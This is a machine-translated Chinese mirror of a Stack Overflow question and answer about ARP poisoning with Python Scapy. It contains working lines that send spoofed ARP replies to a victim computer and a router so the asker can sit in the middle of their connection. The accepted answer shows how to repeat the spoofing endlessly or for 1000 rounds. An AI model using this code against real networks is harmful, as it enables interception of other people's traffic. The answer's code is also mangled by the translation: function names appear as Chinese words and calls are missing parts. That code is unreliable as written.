首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >Python-2.7 Scapy将数据包重传到目的地

Python-2.7 Scapy将数据包重传到目的地
EN

Stack Overflow用户
提问于 2015-09-24 17:18:10
回答 1查看 640关注 0票数 1

做一个arp中毒,我在中间的连接1-路由器和2-受害者计算机。如何将数据包重传到目的地?(最好是替罪羊)我有这样的想法:

代码语言:javascript
复制
send(ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip))
send(ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip))
EN

回答 1

Stack Overflow用户

回答已采纳

发布于 2015-09-24 23:31:06

回顾's API documentation提出了以下几种备选方案:

  1. send函数接受两个可能有用的附加参数: loop:无休止地发送数据包,如果不是0。 inter:在两个数据包之间等待的时间(秒)。

因此,执行以下语句将在一个无休止的循环中发送数据包:

发送(op=ARP.is_at,psrc=router_ip,hwdst=victim_mac,pdst=victim_ip),ARP(op=ARP.is_at,psrc=victim_ip,hwdst=router_mac,pdst=router_ip),inter=1,loop=1

  1. sr函数接受三个可能有用的参数: retry:如果是阳性的话,要重发多少次未应答的数据包。如果是否定的,那么在放弃之前有多少个连续的未回答的探针。只有负值才是真正有用的。 timeout:在最后一个数据包被发送后等待多长时间。默认情况下,sr将永远等待,用户将不得不中断(Ctrl)当他不希望得到更多的答案。 inter:在发送的每个数据包之间等待的时间(秒)。

由于预期不会收到发送的ARP数据包的答复,因此使用所需的值指定这些参数可以在有限循环中发送数据包,而前一种方法强制无休止地发送数据包。

另一方面,由于将资源分配给数据包接收和处理,这可能会降低一些效率,但这是可以忽略的。

因此,执行以下语句将在1000次迭代的有限循环中发送数据包:

高级(op=ARP.is_at,psrc=router_ip,hwdst=victim_mac,pdst=victim_ip),ARP(op=ARP.is_at,psrc=victim_ip,hwdst=router_mac,pdst=router_ip),retry=999,inter=1,timeout=1)

票数 1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/32767318

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档